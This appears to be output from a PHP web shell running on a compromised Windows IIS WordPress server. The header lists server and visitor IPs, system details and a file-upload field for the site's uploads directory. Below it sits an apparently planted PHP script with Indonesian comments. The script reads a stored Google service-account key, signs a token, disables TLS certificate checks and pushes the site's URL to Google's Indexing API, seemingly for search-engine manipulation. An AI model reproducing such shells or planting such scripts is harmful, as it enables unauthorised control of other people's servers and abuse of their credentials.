| Server IP : 195.130.67.5 / Your IP : 216.73.216.231 Web Server : Microsoft-IIS/10.0 System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586 User : IUSR ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/prosvasi/wp-content/uploads/ |
Upload File : |
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// === KONFIGURASI ===
$jsonPath = __DIR__ . '/mpa-ihu-gr-2c2f22c53c93.json';
$urlToIndex = 'https://prosvasi.ihu.gr/';
// === AMBIL TOKEN DARI SERVICE ACCOUNT ===
function getAccessToken($jsonPath) {
$json = json_decode(file_get_contents($jsonPath), true);
if (!$json || !isset($json['client_email']) || !isset($json['private_key'])) {
die('JSON tidak valid');
}
$header = json_encode(['alg' => 'RS256', 'typ' => 'JWT']);
$now = time();
$claim = json_encode([
'iss' => $json['client_email'],
'scope' => 'https://www.googleapis.com/auth/indexing',
'aud' => 'https://oauth2.googleapis.com/token',
'exp' => $now + 3600,
'iat' => $now
]);
$base64Header = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($header));
$base64Claim = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($claim));
$signatureInput = $base64Header . '.' . $base64Claim;
openssl_sign($signatureInput, $signature, $json['private_key'], 'SHA256');
$base64Signature = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($signature));
$jwt = $signatureInput . '.' . $base64Signature;
$ch = curl_init('https://oauth2.googleapis.com/token');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'grant_type' => 'urn:ietf:params:oauth:grant-type:jwt-bearer',
'assertion' => $jwt
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlError = curl_error($ch);
curl_close($ch);
if ($curlError) {
die('cURL Error (token): ' . $curlError);
}
$decoded = json_decode($response, true);
return $decoded['access_token'] ?? null;
}
// === KIRIM URL KE GOOGLE ===
function submitToGoogle($token, $url) {
$data = json_encode(['url' => $url, 'type' => 'URL_UPDATED']);
$ch = curl_init('https://indexing.googleapis.com/v3/urlNotifications:publish');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json',
'Authorization: Bearer ' . $token
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlError = curl_error($ch);
curl_close($ch);
if ($curlError) {
return ['code' => 0, 'error' => $curlError];
}
return ['code' => $httpCode, 'body' => json_decode($response, true)];
}
// === CEK FILE ===
if (!file_exists($jsonPath)) {
die('JSON tidak ditemukan: ' . $jsonPath);
}
// === EKSEKUSI ===
$token = getAccessToken($jsonPath);
if (!$token) {
die('Gagal dapat token');
}
$result = submitToGoogle($token, $urlToIndex);
header('Content-Type: application/json');
echo json_encode($result, JSON_PRETTY_PRINT);